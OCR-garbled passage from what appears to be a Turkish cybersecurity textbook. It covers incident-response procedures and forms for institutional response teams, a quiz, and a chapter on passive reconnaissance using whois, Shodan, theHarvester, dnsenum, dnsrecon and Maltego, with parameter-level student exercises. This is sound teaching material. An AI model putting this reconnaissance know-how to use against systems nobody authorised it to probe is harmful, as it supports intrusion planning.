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1.4.4.2. Siber Olay Esnasi

Kurumsal SOME’ler;

e GOrsel 1.20°de yer alan islem adimlarinin bilgi islem birimi, internet servis saglayici,
Sektorel SOME, USOM, hukuk misavirligi, savcilik, kolluk kuvveti ve basin musavirligi ile
birlikte uygulanmasi,

e Olaya midahale esnasinda bilisim sistemlerine yetkisiz erisim yapilmamasi icin gerekli
tedbirlerin alinmasi,

e Tablo 1.2’de yer alan siber olay bildirim (EK-2) formunun doldurulmasi,

¢ Siber olay miidahale akisi icinde suc unsuruna rastlanmasi halinde savcilik, kolluk kuvvetleri
vb. makamlara haber verilmesi hem kanuni yakimluligln yerine getirilmesi hem de ulusal
siber glvenlik kapsaminda caydiriciligin saglanmasi gérev ve sorumluluklarini yerine getirir.

Tablo 1.2: Siber Olay Bildirim Formu (EK-2)

SiBER OLAY BiLDiRiM FORMU

1. Bildirimi yapan SOME:

2. Bildirimi yapan personelin
Adi Soyadi
Unvan / Birim :

Telefon

E-posta

3. Olay tiiri:

o Servis Disi Birakma (DDoS) 0 Web Defacement

O Bilgi Sizdirma (Data Leakage) 0 Sosyal Mihendislik
o Zararh Yazihm (Malware) 0O Spam

0 Dolandiricilik (Fraud) 0 Port Tarama

o Kimlik Taklidi 0 Oltalama (Phishing)

o SQL Injection
o Diger (Lutfen aciklayiniz):

4. Olay, sistem kesintisine sebep oldu mu? 0 Evet O Hayir

5. Olayin tahmini baslangi¢ zamanu:
Tarih: e Sa@t e,

Olayin tespit edildigi zaman:
Tarih: oo S@@t: e,

6. Eklemek istedikleriniz:
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Olay / Olay Bildirimi

Kurumsal SOME’nin
gerekirse bilgi islem
birimi ile beraber olayi
degerlendirmesi

. ro . Evet
Islem sonlandirilir. Siber olay mi?
Gerekmesi durumunda internet
. N Servis Saglayici ile guivenli iletisim
e:l)gnljilsir: ball”;ncla“| kanallarindan Siber Olay Bildirim
P m”dahal\én?n & Formu (EK-2) doldurularak Sektorel
» SOME ve USOM ile irtibata

Hayir

Olayin tekrar
etmemesi igin gerekli
tedbirlerin alinmasi

Bilgi islem birimine
siber olay ile ilgili
¢alismanin
tamamlandig
bilgisinin verilmesi

ihtiyac duyulmasi

halinde bilgi islem
personelinin sistemle-
rin galisir hale gelmesi

icin gerekli teknik
miidahaleyi yapmasi

Basin Duyurusu

Basin musavirligi ile
irtibata gegilmesi

koordine edilmesi ) S
gecilmesi, is birligi yapilmasi ve

olaya mudahale edilmesi

Sug islendigi izlenimi var mi?
(Kurumsal SOME’nin birim
amiri ve varsa hukuk misavirligi
ile degerlendirmesi)

Evet

Kanunen yetkili
makam ile (Savcilik
/ Kolluk Makami)
temasa gegilmesi

Savcilik tarafindan
yetki verilen birimler
/ Kolluk Makami
tarafindan delillerin

toplanmasi
USOM ve varsa
Sektorel SOME ile
irtibata gegilmesi
Siber Olay

Degerlendirme
Formu (EK-3)

Evet Olay igin medya
bilgilendirilmesi
gerekiyor mu?

Hayir

Siber olaya miidahalenin
tamamlanmasi

1.4.4.3. Siber Olay Sonrasi bolimiindeki gorev
ve sorumluluklarin yerine getirilmesi

Gorsel 1.20: Siber olaya miidahale islem adimlari
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1.4.4.3. Siber Olay Sonrasi

Kurumsal SOME’ler;
e Vakit kaybetmeden olaya neden olan zafiyetin belirlenmesi,

e Siber olay ile ilgili bilgilerin Tablo 1.3’te yer alan siber olay degerlendirme (EK-3) formuna
doldurulmasi, USOM’a ve varsa baglh oldugu Sektorel SOME’ye gonderilmesi,

e Olaylailgili dizeltici / 6nleyici faaliyetlere iliskin 6nerilerin belirlenmesi ve kurum yonetimine

sunulmasi,
e Olay tlrQ, miktari ve maliyetinin tespit edilmesi,
e Siber olay miidahale raporunun hazirlanmasi,

e Raporun kurum yénetimi, USOM ve varsa bagl oldugu Sektérel SOME’ye iletilmesi gorev ve
sorumluluklarini yerine getirir.

Tablo 1.3: Siber Olay Degerlendirme Formu (EK-3)

SiBER OLAY DEGERLENDIRME FORMU

1. Bildirimi yapan SOME:

2. Bildirimi yapan personelin

Adi Soyadi

Unvan / Birim :

Telefon

E-posta

3. Olay tiirii:

o Servis Disi Birakma (DDoS) 0 Web Defacement

O Bilgi Sizdirma (Data Leakage) o Sosyal Mihendislik
o Zararh Yazilim (Malware) 0O Spam

o Dolandiricilik (Fraud) 0 Port Tarama

o Kimlik Taklidi o Oltalama (Phishing)

o SQL Injection
o Diger (LUtfen aciklayiniz):

4. Olay, sistem kesintisine sebep oldu mu? 0 Evet O Hayir

5. Etkilenen sistemler:

o0 Uygulama Sunucusu 0 Veri Tabani Sunucusu o DNS

o Posta Sunucusu 0 Web Sunucusu o Dosya Sunucusu

0 Glvenlik Duvari
o Diger (Lutfen agiklayiniz):

6. Olayin kisa tanimi:

7. Olay bildiren kisi / kurum ve olayin tespit edilme yéntemi:
0 Kurum disi bildirim 0 Kurum calisani

0 Kurumsal SOME calisani 0 Bilgi islem birimi

o Diger (Lutfen aciklayiniz):

Olayin tespit edilme yontemini agiklayiniz:
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8. Olayin tahmini baslangi¢ zamanu:
Tarih: oo S@@t: e,

Olayin tespit edildigi zaman:
Tarih: oo S@@t: e,

9. Siber olaylara ait iz kayitlari tespit edildi mi?
O Hayir

O Evet

Kaynak IP

Hedef IP

Port

Diger

10. Alinan karsi 6nlemleri agiklayiniz:

11. Eklemek istedikleriniz:

1.4.5. Siber Olaylara Miidahale Ekibinin i¢ ve Dis Paydaslarla
iletisim Esaslari

Kurumsal SOME’nin i¢ paydaslarinda bilgi islem birimi ile hukuk ve basin misavirlikleri yer
alir. Kurumsal SOME, kurumun siber glvenligini yonetmek icin i¢c paydaslarla birlikte calisir.
Bilgi islem birimi, bilisim sistemlerinin yénetimini yapmak ve strekliligini saglamak amaciyla
faaliyetler gerceklestirir. Kurumsal SOME’nin bilgi islem biriminden farkli gorevleri bulunur. Bu
nedenle Kurumsal SOME, Bilgi islem Birimi veya Bilgi Giivenligi / Siber Giivenlik Birimi altinda
farkh personeller tarafindan olusturulmahdir.

Kurumsal SOME, siber olay 6ncesi bilgi islem sistemine sizma testi calismasi yapar veya yaptirir.
iz kayitlarini takip eder. Siber olay esnasinda ise bilgi islem biriminin yapacagi miidahaleyi yénetir
ve bilgi islem birimindeki ilgili personeli koordine eder.

Kurumsal SOME’nin dis paydaslarinda ise USOM ve Sektérel SOME yer alir. Kurumsal SOME,
7/24 ulasilabilir durumda olan personelin iletisim bilgilerini Tablo 1.4’teki SOME iletisim formuna
(EK-1) doldurur. Bu formu USOM ve varsa bagl oldugu Sektorel SOME’ye giivenli iletisim sistemi
Uzerinden iletir.

Kurumsal SOME’ler gerektiginde USOM’un yani sira diger Kurumsal SOME’lere de bilgi
verebilir. USOM tarafindan glvenli bir iletisim kanali olusturuluncaya kadar yapilacak iletisimde
mevcut iletisim kanallari kullanilabili. SOME’lerin e-posta yoluyla yapacagi iletisimin sifreli
olmasi onerilir.
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Tablo 1.4: SOME iletisim Formu (EK-1)

SOME iLETiSiM FORMU

Kurum Adi: Tarih:
Telefon Cep telefonu Faks Kurumsal
SOME Takimi e-posta
7/24 iletisim Bilgileri
Hizmet Aldigi ISS
ISS’ten Aldigi Giivenlik DDoS Diger:
Hizmetleri
Kullanilan Giivenlik IPS WAF FW Diger:
Cihazlan
Kurum IP Adres Arahigi
Adi Soyadi Unvani Telefonu Cep telefonu Kurumsal
e-posta
(=
'S
ss
o5
w o
[}
a
c Alan Adi IP Adresi Aciklama
o T
L 0
e E
- O
IR
E®n
c C
L9
N T
w
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OLGME VE DEGERLENDIRME

A) Asagidaki ciimlelerde parantezlerin igine yargilar dogru ise “D”, yanlig ise “Y” yaziniz.

1. ( ) Gri sapkali hackerlar becerilerini etik eylemler gerceklestirmek igin kullanir.

2.( ) Solucanlar, ag kaynaklarini kullanarak bir sistemden baska bir sisteme hizla ¢ogalir.
3. ( ) Telif hakki, yalnizca bilgisayar yazilimlarina koruma saglar.

4. ( ) Aggivenligini saglamak icin sadece firewall kullaniimahdir.

5.( ) Kurumsal SOME’nin dis paydaslari USOM ve Sektorel SOMEdir.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

6. Kullanicinin klavye hareketlerini kaydeden zararli yazilimlara ......ccccceeveeeeeiiiieeiienenennes de-
nir.

7. Siber olaylara mudahalede koordinasyonu saglamak igin BTK binyesinde
creeeenennn KUTUIMuUStuUr.

8. Bilgi glvenligi gizlilik, bUtlnlUk ve .....cccccuvveeeeieeieeeee e olmak uzere U¢ temel unsur-
dan olusur.

C) Asagidaki sorulan dikkatlice okuyarak dogru segenegi isaretleyiniz.

9. Asagidakilerden hangisi tiim verileri sifreler ve dosyalarin sifresini ¢6zmek icin kripto
para biriminde 6deme talep eder?
A) Ransomware B) Rootkit

C) Scareware D) Solucan
E) Virls

10. Asagidakilerden hangisi bilginin yetkisiz kisiler tarafindan degistirilmesinin ve yok
edilmesinin 6nlenmesini ifade eden unsurdur?
A) Butunlik B) Erisilebilirlik
C) Gizlilik D) Kritiklik
E) Kullanilabilirlik

11. Asagidakilerden hangisi yetkisiz erisimin veri bagi katmani seviyesinde engellenmesi
icin alinacak 6nlemlerden biri degildir?

A) Switch cihazinin port security yapilandirmasinin yapilmasi
B) Kablosuz aglarda kimlik dogrulamanin kullanilmasi

C) Glvenlik duvari cihazinin kullanilmasi

D) SSID’nin gizlenmesi

E) VLAN olusturulmasi
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12. Asagidakilerden hangisi Kurumsal SOME’nin siber olay sonrasi gorev ve
sorumluluklarindan biri degildir?

A) Siber olay degerlendirme formunun doldurulmasi
B) Olaya neden olan zafiyetin belirlenmesi

C) Olaylarin tiir ve maliyetlerinin belirlenmesi

D) Siber olay miidahale raporunun hazirlanmasi

E) Givenlik cihazlarinin belirlenmesi

13. Asagidakilerden hangisi saldiri 6nleme sistemidir?

A) ACL B) CIA C) IDS D) IPS E) SIEM

14. Asagidakilerden hangisi tiim BT cihazlarinin, uygulamalarin ve verilerin saldirganlara
karsi korunmasi igin verilen ¢abayi tanimlar?

A) Ag guvenligi B) Bilgi glivenligi
C) internet giivenligi D) Siber giivenlik
E) Ulusal glvenlik

15. Asagidakilerden hangisi siber giivenlik uzmaninin bilgi ve becerilerine detaylica yer
vermistir?

A) 5237 sayih Turk Ceza Kanunu

B) 6698 sayili Kisisel Verilerin Korunmasi Kanunu

C) Elektronik Haberlesme Sektoriinde Sebeke ve Bilgi Glvenligi Yonetmeligi

D) ISO 27001 Bilgi Glivenligi Yonetim Sistemi

E) Siber Glvenlik Elemani (Seviye 5) Ulusal Meslek Standardi

16. Asagidakilerden hangisi kendini kopyalamak ve galistirmak igin kullanici etkilesimine
ihtiya¢ duymayan zararli yazilim tiiridiir?

A) Fidye yazilimi B) Korku yazilimi
C) Solucan D) Truva at1
E) Virus

17. Asagidakilerden hangisi bilgi giivenliginin erisilebilirlik unsurunu dogrudan hedef alan
bir saldiridir?

A) Agi dinlemek

B) internet bankacilig hizmetini engellemek

C) Kredi karti bilgilerini ele gegirmek

D) Veri tabanina sizarak yeni kullanici eklemek

E) Web sunucusunu ele gecirerek web sayfa iceriklerini degistirmek
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KONULAR

2.1. PASIF BiLGi TOPLAMA YONTEMLERiI UYGULAMALARI
2.2. AKTIF BILGI TOPLAMA YONTEMLERiI UYGULAMALARI

NELER OGRENECEKSINiz?

e |P adresleri Uizerinden bilgi toplama

e Domainler lzerinden bilgi toplama

¢ Ag haritalama uygulamalariyla ag haritasi ¢cikarma

e Ag haritalama uygulamalariyla agik sistemleri tespit etme
¢ Ag haritalama uygulamalarinin parametrelerini kullanma
e |P tarama teknikleriyle tarama islemi

¢ Port tarama teknikleriyle tarama islemi

¢ Portlarda servis tarama teknikleriyle tarama islemi

¢ Web Uzerinden on-line port tarama islemi

ANAHTAR KELIMELER

SHODAN, kesif aracglari, whois sorgusu, Google Dork, Google Hack Database,
theHarvester, bing, sublist3r, dnsenum, dnsrecon, LBD, archive.org, ag
haritalama, IP tarama, port tarama, servis tarama, nmap
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HAZIRLIK CALISMALARI

1. Siber giivenlikte bilgi toplama neden énemlidir?

2. Merak ettiginiz kisiler hakkinda bilgi toplama eylemini nasil gerceklestiriyorsunuz?

2.1. PASIF BiLGi TOPLAMA YONTEMLERI UYGULAMALARI

Pasif bilgi toplama yontemlerinde bilgi alinmak istenen hedef ag veya sistem ile dogrudan
iletisime gecilmez. Bu nedenle hedef sistemde log kaydi olusmaz, iz birakilmaz. Bu yéntemde
ag veya sistem hakkinda bilgi edinebilmek igin internet kaynaklarindan yararlanilir. Pasif bilgi
toplama yontemleri ile ylzeysel bilgiler edinilir. Pasif bilgi toplama yontemleri sunlardir:

e |P adresleri lizerinden bilgi toplama
e Domainler lizerinden bilgi toplama

¢ Web sayfalarindan bilgi toplama

2.1.1. IP Adresleri Uzerinden Bilgi Toplama

Kar amaci gitmeyen ICANN (Internet Corporation for Assigned Names and Numbers), IP
adreslerinin dagriminda yetkili olan tek merkezdir. internet Tahsisli Sayilar ve isimler Kurumu; IP
adres alani tahsisi, protokol atamasi, (ilke kodu ve internet alan adi yonetimi, internet ana servis
saglayici idaresinin koordinasyonu gorevlerinden sorumludur.

2.1.1.1. Whois

Whois, sorgu yapilan IP adresi veya alan adi ile bazi bilgilere ulagsmayi saglar. Whois sorgusu;
alan adi sahibi kisiye veya kuruma ait telefon numarasi, adres, e-posta vb. iletisim bilgilerini ve
alan adi ile ilgili domain sunucu, IP araligi vb. teknik bilgileri yasal cergevede listeler. Alan adinin
veya IP adresinin sahibi, kendine ait bilgilerin whois sorgusu sirasinda listelenmesini istemeyebilir.
Bunun icin whois gizleme servisinin aktif edilmesi gerekir. Boylece ICANN, bilgileri gizler ve whois
sorgusu yapanlarin bilgileri gormesini engeller. Whois sorgusu Gorsel 2.1’deki gibi kullanilhr.
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Gorsel 2.1: whois sorgusunun kullanimi

2.1.1.2. SHODAN CLI

SHODAN CLI komutlari agik kaynak istihbarat gerceklestirmek igin kullanilabilir. Bu komutlar ile
hedef kolay ve pasif bir sekilde analiz edilir. Shodan arama motoru ile hedef sistemin altyapilarina
erisebilmek ve sistem hakkinda daha ayrintili bilgi toplayabilmek icin terminal (izerinden shodan
komutlari uygulanir. Shodan Uzerinden IP adresi hakkinda bilgi toplamak icin terminal ekrani
Gorsel 2.2'deki gibi kullantlir.

Gorsel 2.2: shodan kullanimi
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2.1.1.3. RIPE NCC

RIPE NCC; Avrupa, Ortadogu ve Orta Asya’nin bazi bolgelerine IP adresi tahsisinden sorumlu,
kdr amaci gitmeyen bir kurulustur. Belirtilen bolgelerde yer alan IP adreslerine iliskin pasif
bilgi sorgulamasi yapmak icin https://www.ripe.net internet adresinden yararlanilir. ilgili web
sayfasinda bilgi alinmak istenen IP adresi yazilarak sorgulama yapilir (Gorsel 2.3).

Gorsel 2.3: RIPE NCC web sayfasi

Sorgu sonucunda Gorsel 2.4’te goriilen bilgiler ile karsilasilir.

Gorsel 2.4: RIPE NCC sorgu sonucu

2.1.1.4. Bing Arama Motoru (IP Operatorii)

IP adresi verilen sunucuda yer alan web siteleri hakkinda bilgi toplamak igin kullanilir. Bing
arama ¢ubugunda ip: ip_adresi seklinde sorgulama yapilir (Gorsel 2.5).

Gorsel 2.5: Web sitelerini IP adresi iizerinden sorgulama
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Arama sonucunda Gorsel 2.6'da gorilen bilgiler ile karsilasilir.

Gorsel 2.6: Bing arama motoru IP operatoriiyle sorgu sonucu

2.1.1.5. IP Location

IP Location, hedef IP adresini bes farkli servis lizerinde sorgulayarak cografi konum tespiti
saglar. Cografi konum tespiti yapilmak istenen IP adresi arama cubuguna yazilarak sorgulanir
(Gorsel 2.7).

Gorsel 2.7: IP adresi lizerinden cografi konum sorgulama

Arama sonucunda Gorsel 2.8’deki gibi cografi konum bilgileri ile karsilasilir.

Gorsel 2.8: IP Location cografi konum sorgu sonucu
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a@nx=

IP Location ile cografi konum sorgulama sonuglari servis saglayicilar arasinda degisiklik

gosterebilir.

2.1.2. Domainler Uzerinden Bilgi Toplama

Her web sitesinin bir IP adresi bulunur. Web sitelerine erismek icin IP adreslerinin bilinmesi
gerekir. IP adreslerinin akilda tutulmasi ve hatirlanmasi zor oldugu icin web sitelerine erisimde

genellikle domain (alan adi) kullanilir. Alan adi, IP adresinin kelimelerle ifade edilen halidir.

. ORNEK

Web tarayicinin adres ¢ubuguna eba.gov.tr alan adi yazildiginda DNS ile bu alan adinin IP
adresi ¢ozlimlenir. Daha sonra bu IP adresindeki sunucuya erisilir.

Alan adinin kullanimda olup olmadigina iliskin bilgiyi toplamak i¢cin domain sorgulayan
internet siteleri kullanilr.

2.1.2.1. NS.TOOLS

NS.TOOLS, alan adinin aktif mi yoksa pasif mi oldugunu 6grenmek icin ping islemi uygular.
Bu arag kullanilarak alan adi ile ilgili DNS, IP, e-mail ve web bilgileri de toplanir. Bilgi toplanmak
istenen web sitesi, arama ¢ubuguna yazilarak sorgulama yapilir (Gorsel 2.9).

Gorsel 2.9: Alan adinin aktifligini sorgulama

Analiz sonucunda Gorsel 2.10’da gorilen bilgiler ile karsilasilir.

Gorsel 2.10: NS.TOOLS bilgi toplama aracinda analiz sonucu
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Sayfanin alt kisminda DNS, domain, e-mail ve web ile ilgili detayh bilgiler yer alir.

2.1.2.2. TheHarvester

TheHarvester; internet lzerinden kisilerin ve kurumlarin ayak izini anlamak, hedef alan
adinin e-posta adreslerini ve alt alan adlarini tespit etmek icin kullanilan bir kesif aracidir. Bu bilgi
toplama araci, Kali Linux Gizerinde ylkll olarak gelir. Komut satirinda -h parametresi ile yardim
sayfasi agilarak aracin kullanimi daha detayli incelenebilir (Gérsel 2.11).

—

Gorsel 2.11: theHarvester aracinin yardim sayfasi

TheHarvester araci Gorsel 2.12’deki gibi kullantlir.

Gorsel 2.12: theHarvester aracinin kullanimi
¢ -d parametresi ile hedef alan adi belirtilir.

e -| parametresi ile arama yapilacak sonug sayisi belirtilir.
e -b parametresi ile arama yapilacak arama motoru listesi belirtilir.
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TheHarvester komutu calistirildiginda Gorsel 2.13’te gortlen hedef alan adinin e-posta
adresleri ve alt alan adlari ile karsilasilir.

Gorsel 2.13: theHarvester araciyla e-posta ve alt alan adlarina ulagim

a@nx=

Hedef domain hakkinda bilgi toplamak icin kullanilan poptler arama motorlari sunlardir:

e google e linkedin e urlscan
® bing e linkedin_links e yahoo
® baidu ¢ netcraft

e duckduckgo o twitter

Hedef domain, yazilim sektori ile ilgili ise popller arama motorlari listesine github da
eklenehbilir.
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. 1. UYGULAMA

TheHarvester Komutu

Asagidaki islem adimlarina gére theHarvester komutunu kullaniniz.

1. Adim: Bilgi toplamak istediginiz hedef alan adini belirleyiniz.

2. Adim: Hedef e-posta adreslerini ve alt alan adlarini theHarvester komutu ile tespit ediniz
(Gorsel 2.14).

Gorsel 2.14: theHarvester komutunun kullanimi

e -d parametresi ile hedef alan adi belirtilir.

e -b parametresi ile arama yapilacak kaynak arama motorlari belirtilir. TUm arama motorlarini
belirtmek icin all kelimesi kullanilabilir.

e -| parametresi ile arama yapilacak sonug sayisi belirtilir. Varsayilanda 500 degerine sahiptir.
¢ -S parametresi ile aramanin baslayacagi deger belirtilir. Varsayilanda 0 degerine sahiptir.
e -f parametresi ile arama sonuglarinin JSON ve XML formatinda kaydedilecegi dosya adi

belirtilir.

3. Adim: Tespit edilen e-posta adreslerini, alt alan adlarini ve IP adreslerini inceleyiniz (Gorsel
2.15).

Gorsel 2.15: theHarvester komutuyla tespit edilen bilgiler
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4. Adim: Tespit edilen bilgilerin kaydedildigi XML ve JSON dosyalarini inceleyiniz (Goérsel 2.16,
Gorsel 2.17).

Gorsel 2.16: JSON ve XML dosyalari

Gorsel 2.17: XML dosya igerigi

@z

theHarvester aracinin kullanilan diger 6nemli parametreleri ve parametrelerin islevleri
sunlardir:

e -s parametresi ile shodan Gzerinden bilgi toplanir.
e -g parametresi ile Google Dork kullanilarak bilgi elde edilir.

e -p parametresi ile hedef alan adi Gizerinde port taramasi yapilir.

. SIRA SiZDE

Hedef bir alan adi belirleyiniz. Belirlediginiz alan adina ait e-posta adreslerini, alt alan adlarini
ve IP adreslerini tespit etmek icin theHarvester komutunu kullaniniz. Arama sonuglarinin XML ve
JSON dosya formatinda raporlanmasini saglayiniz. XML dosya i¢inde yer alan bilgileri inceleyiniz.
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DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

2.1.2.3. Sublist3r

Sublist3r, hedef alan adinin alt alan adlarini arama motorlarini kullanarak arastiran ve
arastirma sonuglarini listeleyen bir aractir. Python diliyle yazilmis bu aracin kullanimi kolaydir.
Sublist3r araci halihazirda Kali Linux icinde gelmez. Sonradan kurulmasi gerekir.

Gorsel 2.18'deki komut kullanilarak sublist3r araci yiklenir.

Gorsel 2.18: sublist3r aracinin kurulumu
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Komut satirinda -h parametresi ile yardim sayfasi acilarak aracin kullanimi daha detayl
incelenebilir (Gorsel 2.19).

— 1

Gorsel 2.19: sublist3r aracinin yardim sayfasi

Sublist3r araci Gorsel 2.20’deki gibi kullanilir.

Gorsel 2.20: sublist3r aracinin kullanimi

e -d parametresi ile alt alan adlari tespit edilmek istenen hedef domain belirtilir.

Sublist3r komutu calistirildiginda hedef domainin Gorsel 2.21’de goérilen alt alan adlari ile
karsilasilir.

Gorsel 2.21: sublist3r araciyla tespit edilen bilgiler
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2.1.2.4. Dnsenum

Dnsenum; hedef alan adina ait IP adresleri, Mail sunuculari, DNS sunuculari, alt alan adlari

gibi 6nemli bilgileri toplayan bir aractir. Perl diliyle yazilan bu arag, Kali Linux Gzerinde yuklu
olarak gelir.

Dnsenum araci dnsenum <alan adi> seklinde kullanilir (Gorsel 2.22).

Gorsel 2.22: dnsenum aracinin kullanimi

Dnsenum komutu ¢alistirildiginda hedef domainin IP adresleri, DNS sunuculari, Mail sunuculari
tespit edilir. Tespit edilen DNS sunuculari tzerinde hedef alan adina ait tim kayitlarin elde
edilmesi icin bolge transferi (zone transfer) gerceklestiriimeye cahsilir. Alt alan adlarinin tespiti
icin “/usr/share/dnsenum/” yolundaki “dns.txt” dosyasi kullanilarak Brute Force gerceklesir.
Tespit edilen IP adresleri icin C blok IP araliklari listelenir (Gorsel 2.23).

Gorsel 2.23: dnsenum araciyla tespit edilen bilgiler
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2.1.2.5.LBD

LBD, hedef alan adinin DNS ve/veya HTTP yik dengeleme kullanip kullanmadigini kontrol
eden bir aractir.
LBD araci Ibd <alan adi> seklinde kullanilir (Gorsel 2.24).

)-[~]

ime. com

1bd - load balancing detector @.4 - Checks if a given domain uses load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.

Checking for DNS-Loadbalancing: NOT FOUND
Checking for HTTP-Loadbalancing [Server]:
gws

NOT FOUND

9, 1
42, NOT FOUND
Checking for HTTP-Loadbalancing [Diff]: FOUND
< Expires: Tue, 08 Feb 2022 1@: 42 GMT

> Expires: Tue, 08 Feb 2 10 GMT

mim .com does Load-balancing. Found via Methods: HTTP[Diff]

Gorsel 2.24: Ibd aracinin kullanimi

Gorsel 2.24'te alan adinin yiik dengeleme yaptigl tespit edilmistir. HTTP[Diff] yontemiyle
bulundugu belirtilmistir.

. ARASTIRMA

Load Balancing (yik dengeleme) hakkinda arastirma yapiniz. Arastirma sonuglarini

O0gretmeniniz ve arkadaslarinizla paylasiniz.

2.1.2.6. Dnsrecon

Dnsrecon, hedef alan adina ait alt alan adlarini ve IP adreslerini arama motorlari lizerinden
tespit edebilen bir aracgtir. Python diliyle yazilan bu arag, Kali Linux Gizerinde yikli olarak gelir.
Dnsrecon araci Gorsel 2.25’teki gibi kullanihr.

Gorsel 2.25: dnsrecon aracinin kullanimi
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e -t parametresi ile hangi arama ¢esidinin kullanilacagi belirtilir. Yandex arama motoru ile
arama yapmak i¢in yand argtimani kullanilir.

e -d parametresi ile hedef alan adi belirtilir.

a@nx=

Dnsrecon aracinin parametrelerini daha ayrintili incelemek igin yardim sayfasi kullanilabilir.
Dnsrecon araci ile ilgili yardim sayfasina ulagsmak i¢in komut satirinda dnsrecon -h yazilir.

Dnsrecon komutu c¢alistirildiginda hedef domainin Goérsel 2.26°da goriilen alt alan adlari ve IP

adresleri ile karsilasilir.

Gorsel 2.26: dnsrecon araclyla tespit edilen bilgiler

. 2. UYGULAMA

Dnsrecon Komutu

Asagidaki islem adimlarina gore dnsrecon komutunu kullaniniz.

1. Adim: Bilgi toplamak istediginiz hedef alan adini belirleyiniz.

2. Adim: Hedef alt alan adlarini ve IP adreslerini dnsrecon komutu ile tespit ediniz (Gorsel
2.27).

Gorsel 2.27: dnsrecon komutunun kullanimi
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e -t parametresi ile arama ¢esidi belirtilir. Bing arama motorunu belirtmek icin bing argiimani
kullanihr.

e -d parametresi ile hedef alan adi belirtilir.

e —-json parametresi ile arama sonuclarinin JSON formatinda kaydedilecegi dosya adi belirtilir.

3. Adim: Tespit edilen alt alan adlarini ve IP adreslerini inceleyiniz (Gorsel 2.28).

Gorsel 2.28: dnsrecon komutuyla tespit edilen bilgiler

. SIRA SiZDE

Hedef bir alan adi belirleyiniz. Belirlediginiz alan adina ait alt alan adlarini ve IP adreslerini

tespit etmek icin dnsrecon komutunu kullaniniz. Arama cesidini yandex arama motoru olacak
sekilde ayarlayiniz.
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DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

2.1.2.7. Maltego

Maltego, hedef kurum ve kisi hakkinda detayli bilgi toplamak icin kullanilir. Ucretli ve icretsiz
stirimleri bulunan maltego, Kali Linux tizerinde kurulu sekilde gelir. Bu arag, agik kaynaklardan
elde edilen bilgileri gorsellestirerek baglanti analizi ve veri madenciligi icin uygun hale getirmeye
odaklanir.

Kali Linux Uygulamalar menisinden 01 - Information Gathering secilir. Maltego yazilimi
cahstirtlir (Gorsel 2.29).

[ ]

Gorsel 2.29: maltego yazilimini galisirma

Bilgi Toplama Teknikleri

71



Sol tarafta bulunan Entity Palette penceresinin Infrastructure bolimindeki Domain nesnesi
sayfaya suruklenir (Gorsel 2.30).

Gorsel 2.30: Domain nesnesini ekleme

Domain nesnesi Uzerindeki alan adina cift tiklanir. Bilgi toplanmak istenen hedef domain
yazilir (Gorsel 2.31).

Gorsel 2.31: Domain degistirme
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Domain nesnesi Uzerinde sag tus yapilir. All Transforms seceneginin yanindaki ok tusuna
tiklanarak bilgi toplama galistirilir (Gorsel 2.32).

Gorsel 2.32: maltego ile bilgi toplamayi ¢calistirma

Gelen pencerede Run butonuna tiklanir. Bilgi toplama islemi tamamlandiktan sonra bilgiler ile
gorsel sekilde karsilasilir (Gorsel 2.33).

Gorsel 2.33: maltego ile toplanan bilgilerin gérsel semasi

Bilgi Toplama Teknikleri 73



Sayfanin icinde Domain nesnesinden uzaklasildiginda toplanan bilgilerin tirleri de
renklendirilmis bicimde sunulur (Gorsel 2.34).

Gorsel 2.34: maltego ile toplanan bilgilerin tiirleri semasi

2.1.3. Web Sayfalarindan Bilgi Toplama

Hedef sistemler, IP adresleri, alan adlari, kullanici ve kurumlar hakkinda web sayfalarindan
detayli bilgiler toplanabilir. Bu yéntemde bilgi toplamak icin genellikle DNS sorgulama yapan 6zel
web sayfalari, arama motorlari, arsiv siteleri, sosyal paylasim aglari, bloglar, forumlar, kariyer
siteleri kullanilir.

2.1.3.1. Viewdns.info

Viewdns.info; IP adresinin cografi konumunu, MAC adres ile ag cihazinin Ureticisini, bir su-
nucuda barinan web sitelerini, alt alan adlarini, DNS kayitlarini, portlarin agik olma durumunu
bulmak icin kullanilir (Gorsel 2.35). Bu web sayfasi ile ping, traceroute ve ¢ok daha fazla arag
kullanima sunulur.

Gorsel 2.35: Viewdns.info araglari
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. 3. UYGULAMA

Viewdns.info (Get HTTP Headers) Kullanimi

Asagidaki islem adimlarina gére Get HTTP Headers aracini kullaniniz.

1. Adim: HTTP basligi bilgisini elde etmek istediginiz hedef alan adini belirleyiniz.
2. Adim: Get HTTP Headers araci ile hedef alan adini sorgulayiniz (Gorsel 2.36).

Gorsel 2.36: Hedef alan adinin HTTP baghgini sorgulama

3. Adim: HTTP bashgini inceleyiniz (Gorsel 2.37).

Gorsel 2.37: HTTP bashgi

. ARASTIRMA

“HTTP/1.1 200 OK” bilgisinin ne anlama geldigini arastiriniz. Arastirma sonugclarini
O0gretmeniniz ve arkadaslarinizla paylasiniz.
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. SIRA SiZDE

MAC adresi 00-23-5e-69-93-44 olan ag cihazinin Ureticisini viewdns.info araciligiyla tespit

ediniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

2.1.3.2. Archive.org

Archive.org, 1996 yilindan itibaren tim web sitelerinin indekslerinin belli donemlerde
arsivlendigi bir web sayfasidir. Bu web sayfasi ile yayindan kaldirilan veya yayinda olan web
sitelerinin eski gorlntilerine erisilebilir. Web sitelerinin yillara, aylara ve glinlere gére anlk
gorintilerine ulasilabilir.

ilgili web sayfasindaki arama ¢ubuguna bilgi toplanmak istenen web sitesinin adresi yazilir.
Enter tusuna basilir (Gorsel 2.38).

Gorsel 2.38: Web sitesinin eski goriintiisiinii sorgulama

Sorgulama sonucundaki takvimde bilgi toplanmak istenen web sitesinin indekslenmis
tarihlerdeki anhk gorintilerine ulasilabilir (Gorsel 2.39).
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Gorsel 2.39: Web arsivlemede anlik gériintiiler

4. UYGULAMA

Archive.org Kullanimi

Asagidaki islem adimlarina gore archive.org web sayfasini kullaniniz.
1. Adim: archive.org web sayfasini aginiz.

2. Adim: Bu web sayfasinin arama g¢ubuguna meb.gov.tr yaziniz. Sorgulamayi baslatmak igin
Enter tusuna basiniz (Gorsel 2.40).

